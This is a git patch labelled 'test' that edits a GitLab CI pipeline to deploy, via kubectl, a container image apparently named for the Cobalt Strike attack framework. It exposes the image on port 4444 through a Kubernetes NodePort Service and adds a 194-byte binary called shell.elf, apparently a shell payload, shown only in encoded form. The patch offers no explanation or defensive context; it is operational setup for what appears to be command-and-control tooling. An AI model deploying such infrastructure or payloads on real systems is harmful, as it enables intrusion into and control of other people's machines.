From 1e789c161b8436c8c26dc4b23eeaf076134505b9 Mon Sep 17 00:00:00 2001 From: Smart-SangGe <2251250136@qq.com> Date: Sat, 6 Aug 2022 16:36:37 +0800 Subject: [PATCH] test --- .gitlab-ci.yml | 5 ++-- deployment.yaml | 68 ++++++++++++++++++++++++++++++++++++++++++++++++ shell.elf | Bin 0 -> 194 bytes 3 files changed, 71 insertions(+), 2 deletions(-) create mode 100644 deployment.yaml create mode 100644 shell.elf diff --git a/.gitlab-ci.yml b/.gitlab-ci.yml index 6da544b..03de0ef 100644 --- a/.gitlab-ci.yml +++ b/.gitlab-ci.yml @@ -51,11 +51,12 @@ docker_deploy: name: bitnami/kubectl entrypoint: [""] script: + - kubectl apply -f deployment.yaml --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem # - kubectl apply -f deploy.yaml --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem # - kubectl apply -f traefik-config.yaml --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem # - kubectl apply -f ingressrouter.yaml --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem - - kubectl create deployment console --image=reg.sre.victor-core.top/cobalt-strike/console:1.3.0 --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem --port=4444 - - kubectl expose deployment console --type=NodePort --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem + # - kubectl create deployment console --image=reg.sre.victor-core.top/cobalt-strike/console:1.3.0 --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem --port=4444 + # - kubectl expose deployment console --type=NodePort --kubeconfig=.kube/config --certificate-authority=.kube/ca.pem tags: - cluster \ No newline at end of file diff --git a/deployment.yaml b/deployment.yaml new file mode 100644 index 0000000..8c07b51 --- /dev/null +++ b/deployment.yaml @@ -0,0 +1,68 @@ +kind: Deployment +apiVersion: apps/v1 +metadata: + name: console + namespace: sangge + labels: + app: console + annotations: + deployment.kubernetes.io/revision: '1' +spec: + replicas: 1 + selector: + matchLabels: + app: console + template: + metadata: + creationTimestamp: null + labels: + app: console + spec: + containers: + - name: console + image: 'reg.sre.victor-core.top/cobalt-strike/console:1.3.0' + ports: + - containerPort: 4444 + protocol: TCP + resources: {} + terminationMessagePath: /dev/termination-log + terminationMessagePolicy: File + imagePullPolicy: IfNotPresent + restartPolicy: Always + terminationGracePeriodSeconds: 30 + dnsPolicy: ClusterFirst + securityContext: {} + schedulerName: default-scheduler + strategy: + type: RollingUpdate + rollingUpdate: + maxUnavailable: 25% + maxSurge: 25% + revisionHistoryLimit: 10 + progressDeadlineSeconds: 600 +--- +kind: Service +apiVersion: v1 +metadata: + name: console + namespace: sangge + labels: + app: console +spec: + ports: + - protocol: TCP + port: 4444 + targetPort: 4444 + nodePort: 30299 + selector: + app: console + clusterIP: 10.68.199.250 + clusterIPs: + - 10.68.199.250 + type: NodePort + sessionAffinity: None + externalTrafficPolicy: Cluster + ipFamilies: + - IPv4 + ipFamilyPolicy: SingleStack + internalTrafficPolicy: Cluster diff --git a/shell.elf b/shell.elf new file mode 100644 index 0000000000000000000000000000000000000000..bd79a1feaf1e05ae7dba34ee501d57587888dd72 GIT binary patch literal 194 zcmb<-^>JfjWMqH=CI&kO5U+y40W1U|!Av;ez+eGZ0}=qKWrxdv7!FV#ggyl2@xZJQ zfCyx1M$F7&iqB$<<7f4l?y-}JK`@3(AWkdLqw`soKvb4i1V3vQbDYQjb6JW&X6d&q c>xh{iyY-VY^Yn`|7=k@Ip9h5l)$+3f003(pIRF3v literal 0 HcmV?d00001